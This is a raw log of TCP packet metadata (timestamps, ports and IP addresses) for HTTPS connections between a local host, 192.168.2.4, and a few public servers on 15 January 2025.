Jan 15, 2025 20:08:06.164390087 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.164472103 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.164537907 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.164549112 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.165574074 CET	443	49753	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.165653944 CET	443	49753	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.165709019 CET	49753	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.167123079 CET	49753	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.167145967 CET	443	49753	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.173297882 CET	49754	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.173367023 CET	443	49754	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.173459053 CET	49754	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.173728943 CET	49754	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.173758984 CET	443	49754	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.215209961 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.248811960 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.248895884 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.248931885 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.248951912 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.248970985 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.248985052 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.249022961 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.249232054 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.249268055 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.249288082 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.249319077 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.249377012 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.249398947 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.249413967 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.249469995 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.250003099 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.250072002 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.250092030 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.250153065 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.250180006 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.250886917 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.250957012 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.250973940 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.250997066 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.251029968 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.251044035 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.251087904 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.251790047 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.251864910 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.251878977 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.251904964 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.251938105 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.251950026 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.251977921 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.252830029 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.252892971 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.252907038 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.252932072 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.252989054 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.252990007 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.253005028 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.289115906 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.289202929 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.289238930 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.289302111 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.335696936 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.335766077 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.335789919 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.335805893 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.335856915 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.335895061 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.335895061 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.335993052 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.336050987 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.336069107 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.336122990 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.336184978 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.336268902 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.336313963 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.336385012 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.336395979 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.336447001 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.336497068 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.336638927 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.336668968 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.341984034 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.342099905 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.342199087 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.342504025 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.342540979 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.378818035 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:06.423340082 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:06.533298016 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.533355951 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.533438921 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.547069073 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.547089100 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.584949970 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:06.584996939 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:06.585071087 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:06.585084915 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:06.585136890 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:06.585175991 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:06.585186005 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:06.585225105 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:06.585231066 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:06.585275888 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:06.593792915 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:06.593847990 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:06.626277924 CET	443	49754	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.627348900 CET	49754	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.627382994 CET	443	49754	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.627711058 CET	443	49754	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.628691912 CET	49754	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.628751040 CET	443	49754	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.629118919 CET	49754	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.671341896 CET	443	49754	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.682439089 CET	49758	443	192.168.2.4	104.21.92.176
Jan 15, 2025 20:08:06.682554960 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:06.682625055 CET	49758	443	192.168.2.4	104.21.92.176
Jan 15, 2025 20:08:06.685450077 CET	49758	443	192.168.2.4	104.21.92.176
Jan 15, 2025 20:08:06.685497046 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:06.763564110 CET	443	49754	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.763652086 CET	443	49754	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.763741016 CET	49754	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.809562922 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.824074030 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.824139118 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.825022936 CET	49754	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.825061083 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.825074911 CET	443	49754	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.826261044 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.826417923 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.826762915 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.867352962 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.950484991 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.950555086 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.950594902 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.950639963 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.950650930 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.950678110 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.950726032 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.950764894 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.950797081 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.950952053 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.951261997 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.951306105 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.951350927 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.951409101 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.951409101 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.951427937 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.955127954 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.956994057 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.957009077 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.997658968 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.020463943 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.020783901 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.020802021 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.021070957 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.021384954 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.021428108 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.022058964 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.022485971 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.022501945 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.038734913 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.038826942 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.038867950 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.038886070 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.038923025 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.039017916 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.039057016 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.039058924 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.039072037 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.039130926 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.039148092 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.039213896 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.039225101 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.039869070 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.039906979 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.039916992 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.039922953 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.039979935 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.040019035 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.040019989 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.040030003 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.040065050 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.040766001 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.040803909 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.040818930 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.040894985 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.040930033 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.040967941 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.040968895 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.040981054 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.041004896 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.041714907 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.041749001 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.041796923 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.041801929 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.041845083 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.127223969 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.127302885 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.127343893 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.127388000 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.127418995 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.127490997 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.127528906 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.127686024 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.127743959 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.127758026 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.127856016 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.128190041 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.128241062 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.128252983 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.128273010 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.128303051 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.128314018 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.128339052 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.128910065 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.128958941 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.128962994 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.128976107 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.129007101 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.129614115 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.129668951 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.129693031 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.129717112 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.129748106 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.129762888 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.129782915 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.129787922 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.129836082 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.129848003 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.129900932 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.130667925 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.130712032 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.130738020 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.130748987 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.130768061 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.130774975 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.130799055 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.130809069 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.130832911 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.131479979 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.131524086 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.131527901 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.131551981 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.131581068 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.139290094 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.139558077 CET	49758	443	192.168.2.4	104.21.92.176
Jan 15, 2025 20:08:07.139588118 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.140634060 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.140710115 CET	49758	443	192.168.2.4	104.21.92.176
Jan 15, 2025 20:08:07.141057014 CET	49758	443	192.168.2.4	104.21.92.176
Jan 15, 2025 20:08:07.141119957 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.141215086 CET	49758	443	192.168.2.4	104.21.92.176
Jan 15, 2025 20:08:07.141222954 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.183530092 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.184360981 CET	49758	443	192.168.2.4	104.21.92.176
Jan 15, 2025 20:08:07.216536999 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.216770887 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.217228889 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.217313051 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.217338085 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.217365980 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.217422009 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.217504025 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.217539072 CET	443	49756	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.217564106 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.218132019 CET	49756	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.226638079 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.226779938 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.226804972 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.226835012 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.226846933 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.226871967 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.226886034 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.227427959 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.227456093 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.227483988 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.227489948 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.227524042 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.227901936 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.227953911 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.227977991 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.228013992 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.228019953 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.228106022 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.231372118 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.275906086 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.307745934 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.307789087 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.307816982 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.307843924 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.307862043 CET	49758	443	192.168.2.4	104.21.92.176
Jan 15, 2025 20:08:07.307873011 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.307925940 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.307962894 CET	49758	443	192.168.2.4	104.21.92.176
Jan 15, 2025 20:08:07.307987928 CET	49758	443	192.168.2.4	104.21.92.176
Jan 15, 2025 20:08:07.308000088 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.308017969 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.308070898 CET	49758	443	192.168.2.4	104.21.92.176
Jan 15, 2025 20:08:07.308938026 CET	49758	443	192.168.2.4	104.21.92.176
Jan 15, 2025 20:08:07.308975935 CET	443	49758	104.21.92.176	192.168.2.4
Jan 15, 2025 20:08:07.317050934 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.317189932 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.317240000 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.317267895 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.317276955 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.317311049 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.317315102 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.317744970 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.317775011 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.317817926 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.317823887 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.317864895 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.318182945 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.318613052 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.318644047 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.318651915 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.318655968 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.318694115 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.318698883 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.318706036 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.318737030 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.318744898 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.319637060 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.319664955 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.319688082 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.319691896 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.319720030 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.319749117 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.319760084 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.319765091 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.319797993 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.320493937 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.320535898 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.320539951 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.369246960 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.369254112 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.407319069 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.407356977 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.407363892 CET	49757	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:07.407370090 CET	443	49757	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:07.407407045 CET	49757	443	192.168.2.4	104.18.95.41
